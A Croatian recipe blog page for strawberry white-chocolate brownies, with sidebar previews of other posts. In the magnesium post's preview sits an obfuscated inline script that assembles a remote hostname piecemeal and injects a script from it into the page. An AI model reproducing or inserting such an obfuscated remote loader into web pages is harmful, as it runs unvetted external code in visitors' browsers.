BROWNIEJI OD JAGODA ZA VALENTINOVO 🍓


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Brownieji od jagoda za Valentinovo 

https://jolie.hr/gastro/recepti/roskasti-brownieji/

Jednostavni, brzi i toliko sočni, strawberry browniesi su mali, ružičasti twist na brownie čokoladnu klasiku, a odličan su vjesnik i proljeća i Valentinova. Klasični brownie, poznat po svojoj sočnosti i bogatoj teksturi, u ovoj verziji dobiva proljetnu vibru zahvaljujući jagodama. Rezultat je desert koji izgleda nježno i romantično, a okusom ostaje neodoljivo dekadentan, i dalje super čokoladan.





Brownieji od jagoda za Valentinovo 


Sastojci:

  • 200 g bijele čokolade
  • 120 g maslaca
  • 2 jaja (sobne temperature)
  • 120 g šećera
  • 1 vanilin šećer ili 1 žličica ekstrakta vanilije
  • 150 g glatkog brašna
  • prstohvat soli
  • 120 g svježih ili smrznutih jagoda (sitno nasjeckanih)
  • Po želji: nekoliko kapi crvene ili ružičaste prehrambene boje za izraženiju boju




Priprema:

  • Zagrijte pećnicu na 170 °C i obložite manji pravokutni kalup papirom za pečenje. Bijelu čokoladu i maslac otopite na pari ili laganoj vatri, miješajući dok smjesa ne postane glatka. Maknite s vatre i ostavite da se kratko ohladi.
  • U drugoj posudi pjenasto izmiksajte jaja sa šećerom i vanilijom dok smjesa ne postane svijetla i lagano kremasta. Dodajte otopljenu čokoladu s maslacem i kratko izmiješajte. Umiješajte brašno i sol, miješajući samo dok se sastojci ne povežu.
  • Na kraju lagano umiješajte nasjeckane jagode. Smjesu izlijte u pripremljeni kalup i poravnajte površinu. Pecite 30-35 minuta, ovisno o pećnici, sredina treba ostati mekana i blago vlažna.
  • Nakon pečenja ostavite brownieje da se potpuno ohlade prije rezanja. Kako stoje, tekstura postaje još bolja. Strawberry brownies posebno dobro funkcioniraju uz lagani dodatak, malo tučenog vrhnja, kuglicu sladoleda od vanilije ili nekoliko svježih jagoda na vrhu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više